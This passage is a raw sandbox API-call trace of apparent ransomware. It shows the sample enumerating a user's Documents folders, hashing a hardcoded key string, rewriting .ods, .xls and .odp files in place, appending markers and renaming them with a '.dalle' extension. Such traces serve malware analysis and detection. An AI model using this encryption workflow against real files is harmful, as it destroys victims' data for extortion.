lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0121.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0121.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023098 [0121.643] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023140 [0121.643] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0121.643] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.644] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018128 [0121.644] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018308 [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.644] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.644] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.644] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.644] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.644] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.644] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.644] PathFindFileNameW (pszPath="") returned="" [0121.644] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018308 [0121.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.645] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.645] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0121.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018308 [0121.645] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.645] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0121.645] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.646] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0121.646] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.646] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\") returned="qIBuq\\" [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018128 [0121.646] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\") returned="BZeNr_asZgOghC\\" [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.646] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.646] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.646] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.646] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.646] PathFindFileNameW (pszPath="") returned="" [0121.646] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.648] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.648] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc66712b0, ftCreationTime.dwHighDateTime=0x1d4d1d5, ftLastAccessTime.dwLowDateTime=0x27877fd0, ftLastAccessTime.dwHighDateTime=0x1d4d25d, ftLastWriteTime.dwLowDateTime=0x27877fd0, ftLastWriteTime.dwHighDateTime=0x1d4d25d, nFileSizeHigh=0x0, nFileSizeLow=0x15f2d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="827UvCxR.ods", cAlternateFileName="")) returned 1 [0121.648] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.648] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.648] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\827UvCxR.ods") returned=".ods" [0121.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\827UvCxR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\827uvcxr.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.649] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=89901) returned 1 [0121.649] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.651] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15f07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.651] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.652] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x15f2d, lpOverlapped=0x0) returned 1 [0121.653] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.653] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.653] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.653] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0eb8) returned 1 [0121.654] CryptCreateHash (in: hProv=0x6c0eb8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.654] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.654] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.654] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.654] GetLastError () returned 0x0 [0121.654] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.654] CryptReleaseContext (hProv=0x6c0eb8, dwFlags=0x0) returned 1 [0121.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x15f30) returned 0x3096780 [0121.655] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.655] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x15f28, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x15f28, lpOverlapped=0x0) returned 1 [0121.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.655] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15f2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.655] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.656] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0121.656] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.656] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.656] CloseHandle (hObject=0x618) returned 1 [0121.657] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0121.657] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3093b88 [0121.657] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0121.657] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\827UvCxR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\827uvcxr.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\827UvCxR.ods.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\827uvcxr.ods.dalle")) returned 1 [0121.659] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.659] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.660] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x605647f0, ftCreationTime.dwHighDateTime=0x1d4d362, ftLastAccessTime.dwLowDateTime=0x8409bb10, ftLastAccessTime.dwHighDateTime=0x1d4c8d0, ftLastWriteTime.dwLowDateTime=0x8409bb10, ftLastWriteTime.dwHighDateTime=0x1d4c8d0, nFileSizeHigh=0x0, nFileSizeLow=0x4d2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ev5fZtMbXU-mo.xls", cAlternateFileName="EV5FZT~1.XLS")) returned 1 [0121.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.660] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.660] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.660] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\ev5fZtMbXU-mo.xls") returned=".xls" [0121.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\ev5fZtMbXU-mo.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\ev5fztmbxu-mo.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.660] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=19756) returned 1 [0121.660] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.662] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4d06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.662] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.663] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.663] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x4d2c, lpOverlapped=0x0) returned 1 [0121.664] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.664] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.664] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.664] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0eb8) returned 1 [0121.665] CryptCreateHash (in: hProv=0x6c0eb8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.665] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.665] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.665] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.665] GetLastError () returned 0x0 [0121.665] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.665] CryptReleaseContext (hProv=0x6c0eb8, dwFlags=0x0) returned 1 [0121.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4d30) returned 0x3096780 [0121.665] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.666] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x4d27, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x4d27, lpOverlapped=0x0) returned 1 [0121.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.666] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4d2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.666] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0121.666] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.666] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.666] CloseHandle (hObject=0x618) returned 1 [0121.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0121.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0121.667] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\ev5fZtMbXU-mo.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\ev5fztmbxu-mo.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\ev5fZtMbXU-mo.xls.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\ev5fztmbxu-mo.xls.dalle")) returned 1 [0121.668] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.668] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.669] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43aa87c0, ftCreationTime.dwHighDateTime=0x1d4cbdc, ftLastAccessTime.dwLowDateTime=0x7a2e48a0, ftLastAccessTime.dwHighDateTime=0x1d4c5f5, ftLastWriteTime.dwLowDateTime=0x7a2e48a0, ftLastWriteTime.dwHighDateTime=0x1d4c5f5, nFileSizeHigh=0x0, nFileSizeLow=0xf07, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h1LjxbbEaGY.odp", cAlternateFileName="H1LJXB~1.ODP")) returned 1 [0121.669] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.669] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.669] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.669] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\h1LjxbbEaGY.odp") returned=".odp" [0121.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\h1LjxbbEaGY.odp" (normalized: 